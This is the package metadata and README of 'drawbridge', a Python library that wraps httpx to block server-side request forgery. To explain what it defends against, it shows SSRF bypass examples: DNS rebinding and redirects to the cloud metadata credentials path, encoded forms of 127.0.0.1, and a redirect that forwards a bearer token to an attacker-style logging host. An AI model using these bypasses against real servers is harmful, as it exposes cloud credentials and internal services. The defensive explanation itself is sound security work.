Metadata-Version: 2.4
Name: drawbridge
Version: 0.1.2
Summary: SSRF-safe HTTP client for Python. Opinionated httpx wrapper that blocks private IPs, prevents DNS rebinding, and validates redirects.
Keywords: ssrf,security,httpx,http-client,dns-rebinding
Author: Rahul
Author-email: Rahul <rahul@tachyon.so>
License-Expression: MIT
Classifier: Development Status :: 3 - Alpha
Classifier: Intended Audience :: Developers
Classifier: License :: OSI Approved :: MIT License
Classifier: Programming Language :: Python :: 3
Classifier: Programming Language :: Python :: 3.10
Classifier: Programming Language :: Python :: 3.11
Classifier: Programming Language :: Python :: 3.12
Classifier: Programming Language :: Python :: 3.13
Classifier: Topic :: Internet :: WWW/HTTP
Classifier: Topic :: Security
Classifier: Typing :: Typed
Requires-Dist: httpx>=0.27
Requires-Python: >=3.10
Project-URL: Documentation, https://github.com/tachyon-oss/drawbridge
Project-URL: Homepage, https://github.com/tachyon-oss/drawbridge
Project-URL: Repository, https://github.com/tachyon-oss/drawbridge
Description-Content-Type: text/markdown

# Drawbridge

Drop-in SSRF protection for Python. Wraps httpx so every outbound request blocks private IPs, prevents DNS rebinding, and validates redirects — with zero configuration.

```bash
pip install drawbridge
```

```python
import drawbridge

response = await drawbridge.get("https://example.com/api/data")
print(response.json())
```

That's it. Private IPs, link-local, cloud metadata endpoints, IPv6 transition bypasses — all blocked by default. DNS is resolved once and pinned for the connection, so rebinding attacks are structurally impossible.

## Why not just validate the URL?

The obvious approach to SSRF protection is: parse the URL, resolve the hostname, check if the IP is private, then make the request. This has been tried many times. It does not work.

**The validate-then-fetch gap (DNS rebinding)**

```python
import ipaddress, socket, httpx
from urllib.parse import urlparse

def is_safe(url):
    hostname = urlparse(url).hostname
    ip = socket.getaddrinfo(hostname, None)[0][4][0]
    return not ipaddress.ip_address(ip).is_private

# Looks correct — but there's a gap between check and use
if is_safe(url):
    response = httpx.get(url)  # DNS is resolved AGAIN here
```

An attacker's DNS server returns `93.184.216.34` (public) on the first query, then `169.254.169.254` (AWS metadata) on the second. Your check passes. Their request lands on your cloud metadata endpoint. This is called DNS rebinding, and it has produced critical CVEs in [MindsDB](https://github.com/mindsdb/mindsdb/security/advisories/GHSA-4jcv-vp96-94xr) (CVSS 9.3), [Gradio](https://nvd.nist.gov/vuln/detail/CVE-2024-4325) (CVSS 8.6), and [LangChain](https://github.com/langchain-ai/langchain/issues/30212).

<details>
<summary><b>More bypasses that break URL validation</b></summary>

**Redirects as SSRF launchers**

```python
# Your check passes: attacker.com resolves to a public IP
if is_safe("https://attacker.com/start"):
    response = httpx.get("https://attacker.com/start", follow_redirects=True)
    # But the server responds with:
    # HTTP/1.1 302 Found
    # Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/
```

The initial URL is safe. The redirect target is not. Most HTTP libraries follow redirects transparently — your validation only checked the first hop. Drawbridge re-validates the IP on every redirect.

**IP address obfuscation**

All of these resolve to `127.0.0.1`:

```
http://2130706433/          # decimal encoding
http://0x7f000001/          # hex encoding
http://0177.0.0.1/          # octal encoding
http://127.1/               # shorthand (OS-dependent)
http://[::ffff:127.0.0.1]/  # IPv4-mapped IPv6
http://127.0.0.1.nip.io/    # wildcard DNS service
```

A URL-parsing-based check must handle all of these. A transport-level check doesn't care — it sees the resolved IP after `getaddrinfo()`, regardless of how it was spelled.

**Cross-origin credential leakage**

```python
response = httpx.get(
    "https://attacker.com/start",
    headers={"Authorization": "Bearer sk-live-xxx"},
    follow_redirects=True,
)
# attacker.com redirects to https://evil-logger.com/capture
# Your Authorization header is forwarded to the attacker's server.
```

Drawbridge strips `Authorization`, `Cookie`, and other sensitive headers on any cross-origin redirect.

**Mixed DNS records**

```python
# evil.com resolves to BOTH 93.184.216.34 (public) and 10.0.0.1 (private)
addrs = socket.getaddrinfo("evil.com", 443)
# The OS chooses which IP to connect to — the attacker influences
# this via DNS round-robin ordering.
```

Drawbridge rejects the entire request if *any* resolved IP is in a blocked range.

</details>

Drawbridge prevents all of these by design. DNS resolution, IP validation, and TCP connection happen in a single code path — there is no gap to exploit, no encoding to smuggle through, no redirect to sneak past.

## When to use this

Any time your application fetches a URL that came from a user, webhook config, AI agent tool call, or external API.

```python
import drawbridge
from drawbridge import Client

# Webhook delivery — no redirects allowed
await drawbridge.post(callback_url, json=event, max_redirects=0)

# AI agent tool call — fetch URL from untrusted model output
result = await drawbridge.get(tool_call.url, max_redirects=0)

# Domain-restricted client
async with Client(allow_domains=["*.example.com", "api.stripe.com"]) as client:
    data = await client.get("https://api.example.com/users")
```

## How it works

Drawbridge replaces httpx's transport layer. For every request:

1. **Resolve DNS** — single `getaddrinfo()` call
2. **Validate all IPs** — reject if any resolved address is private/reserved
3. **Pin the connection** — rewrite URL to validated IP, set Host header and TLS SNI to original hostname
4. **Re-validate redirects** — each hop goes through steps 1-3 again

The IP that was validated is the IP that gets connected to. There's no gap between check and use.

## Error handling

```python
try:
    response = await drawbridge.get(url)
    response.raise_for_status()
except drawbridge.DrawbridgeError:
    pass  # SSRF violation (blocked IP, domain, port, scheme, or DNS failure)
except httpx.HTTPStatusError:
    pass  # 4xx/5xx from raise_for_status()
```

SSRF exceptions inherit from `drawbridge.DrawbridgeError`. Response is an `httpx.Response` — all standard methods work. See [architecture.md](docs/architecture.md) for the full exception hierarchy.

## Configuration

Set a global default policy so every request uses your settings:

```python
import drawbridge

drawbridge.configure(
    block_domains=["metadata.google.internal"],
    allow_ports=[80, 443],
)
```

Explicit arguments to `Client()`, `SyncClient()`, or convenience functions override the global default. Reset to safe defaults with `configure(None)`. See [policy reference](docs/policy.md) for all fields.

## Sync API

`drawbridge.sync` provides the same protection with a blocking interface:

```python
import drawbridge.sync

response = drawbridge.sync.get("https://example.com/api/data")
```

## Streaming

```python
async with drawbridge.stream("GET", url) as response:
    async for chunk in response.aiter_bytes():
        process(chunk)
```

## Testing

Drawbridge blocks localhost by default, but test servers bind to `127.0.0.1`. Use `configure()` in your test fixtures:

```python
# conftest.py
import drawbridge

@pytest.fixture(autouse=True)
def _drawbridge_test_policy(httpserver):
    drawbridge.configure(allow_private=True, allow_ports=[httpserver.port])
    yield
    drawbridge.configure(None)  # Reset to safe defaults
```

## Limitations

Alpha (`0.1.x`). API may change before 1.0. Not yet independently audited — see [SECURITY.md](SECURITY.md).

`HTTP_PROXY`/`HTTPS_PROXY` env vars are ignored — client-side SSRF protection and proxy routing are architecturally incompatible (the proxy makes the real connection, not drawbridge). For proxy environments, use [Smokescreen](https://github.com/stripe/smokescreen) where the proxy itself enforces the denylist.

Does not include retry/backoff — use [tenacity](https://github.com/jd/tenacity). Does not protect against application-logic SSRF where your code constructs URLs from user input before passing them to drawbridge.

## Docs

- [Policy reference](docs/policy.md) — all `Policy` fields with defaults and notes
- [Security model](docs/security.md) — threat model, blocked IP ranges, attack coverage
- [Architecture](docs/architecture.md) — SafeTransport, redirect handling, exception hierarchy

## License

MIT
